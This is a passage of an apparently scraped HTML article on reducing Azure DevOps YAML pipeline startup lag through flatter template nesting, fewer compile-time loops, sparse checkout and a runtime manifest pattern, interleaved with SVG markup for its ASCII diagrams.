text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='148' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='148' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='84' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='148' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='68' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='52' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='148' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='148' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='148' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='52' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='52' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003e|\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"11-fetching-and-compiling\"\u003e1.1: Fetching and Compiling\u003c/h3\u003e\n\u003cp\u003eEvery time you use the \u003ccode\u003etemplate:\u003c/code\u003e property, the orchestrator must fetch that file. If the template resides in a remote repository or a different Azure DevOps organization, this adds a \u0026ldquo;Network Tax.\u0026rdquo; Fetching 20 small snippets across a high-latency connection can add 10 seconds of pure wait time. Furthermore, the engine enforces a hard limit of 100 unique files and 20 levels of nesting to prevent infinite recursion, but even reaching 50% of these limits can noticeably degrade startup speed.\u003c/p\u003e\n\u003ch3 id=\"12-the-cartesian-product-of--each-\"\u003e1.2: The Cartesian Product of \u003ccode\u003e${{ each }}\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThe most significant performance killer is the use of nested \u003ccode\u003e${{ each }}\u003c/code\u003e loops to generate jobs or steps. If you iterate through 10 environments, 5 regions, and 4 applications, you are asking the orchestrator to compute 200 distinct blocks of code at compile-time. This Cartesian product directly multiplies the size of the internal parsing memory (limited to 20MB). A pipeline that generates 200 jobs via \u003ccode\u003eeach\u003c/code\u003e will always be significantly slower than a pipeline that generates 200 jobs via a runtime \u003ccode\u003ematrix\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"2-measuring-the-lag\"\u003e2. Measuring the Lag\u003c/h2\u003e\n\u003cp\u003eBefore refactoring, you must identify the bottleneck.\u003c/p\u003e\n\u003ch3 id=\"21-interpreting-the-pipeline-timeline\"\u003e2.1: Interpreting the Pipeline Timeline\u003c/h3\u003e\n\u003cp\u003eLook at the gap between the \u0026ldquo;Queue Time\u0026rdquo; and the \u0026ldquo;Start Time\u0026rdquo; of the first job. If this gap is \u0026gt; 10 seconds and the agent pool is not exhausted, you are suffering from initialization lag.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eDiagnostic Step:\u003c/strong\u003e Check the size of your \u003cstrong\u003eExpanded YAML\u003c/strong\u003e. In the Pipeline Editor, select \u0026ldquo;Download full YAML\u0026rdquo;. If the resulting file is greater than 20,000 lines, your YAML architecture is too \u0026ldquo;heavy\u0026rdquo; for the expansion engine.\u003c/p\u003e\n\u003ch3 id=\"22-the-hidden-fetch-delays\"\u003e2.2: The \u0026ldquo;Hidden\u0026rdquo; Fetch Delays\u003c/h3\u003e\n\u003cp\u003eIf you use \u003ccode\u003eresources: repositories\u003c/code\u003e to pull templates from multiple repos, set \u003ccode\u003efetchDepth: 1\u003c/code\u003e and use the 2025 \u003cstrong\u003eSparse Checkout\u003c/strong\u003e feature (\u003ccode\u003esparseCheckoutDirectories\u003c/code\u003e) to download only the \u003ccode\u003e/templates\u003c/code\u003e folder. This reduces the network overhead and speeds up the \u0026ldquo;Parsing\u0026rdquo; phase significantly.\u003c/p\u003e\n\u003ch2 id=\"3-optimization-1-flattening-the-tree\"\u003e3. Optimization 1: Flattening the Tree\u003c/h2\u003e\n\u003cp\u003eA shallow pipeline tree expands faster than a deep one.\u003c/p\u003e\n\u003ch3 id=\"31-reducing-recursive-nesting\"\u003e3.1: Reducing Recursive Nesting\u003c/h3\u003e\n\u003cp\u003eAim for no more than 3 levels of template nesting. If a logic block is only used in one place, do not create a separate template file for it. Instead, bring that logic \u0026ldquo;Inline\u0026rdquo; into the calling file. The orchestrator processes a single 500-line file faster than ten 50-line files.\u003c/p\u003e\n\u003ch4 id=\"flattening-the-tree\"\u003eFlattening the Tree\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 624 153\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,32 L 280,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,32 L 608,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,128 L 280,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,128 L 608,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,32 L 48,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 280,32 L 280,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,32 L 376,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 608,32 L 608,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003e+\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='84' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='100' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='20' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='52' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='20' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='20' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='68' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='68' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='20' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='84' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='84' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='68' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='68' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"32-consolidating-loop-logic\"\u003e3.2: Consolidating Loop Logic\u003c/h3\u003e\n\u003cp\u003eInstead of using nested \u003ccode\u003e${{ each }}\u003c/code\u003e loops to generate complex steps, use a single \u0026ldquo;Preparation\u0026rdquo; job. This job runs a PowerShell script that parses your configuration and produces a JSON manifest as an output variable. Subsequent jobs then use this manifest at runtime. This shifts the computational work from the orchestrator\u0026rsquo;s expensive expansion engine to a cheap agent.\u003c/p\u003e\n\u003ch4 id=\"the-thin-yaml-pattern-the-fix\"\u003eThe Thin YAML Pattern (The Fix)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 632 201\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 48,32 L 272,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,32 L 600,32' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,144 L 272,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,144 L 600,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,32 L 48,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,48 L 288,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,48 L 384,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,152 L 464,168' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,48 L 616,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,40 L 384,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 384,128 L 384,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,152 L 464,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 272,32 A 16,16 0 0,1 288,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 600,32 A 16,16 0 0,1 616,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 288,128 A 16,16 0 0,1 272,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,128 A 16,16 0 0,1 600,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' 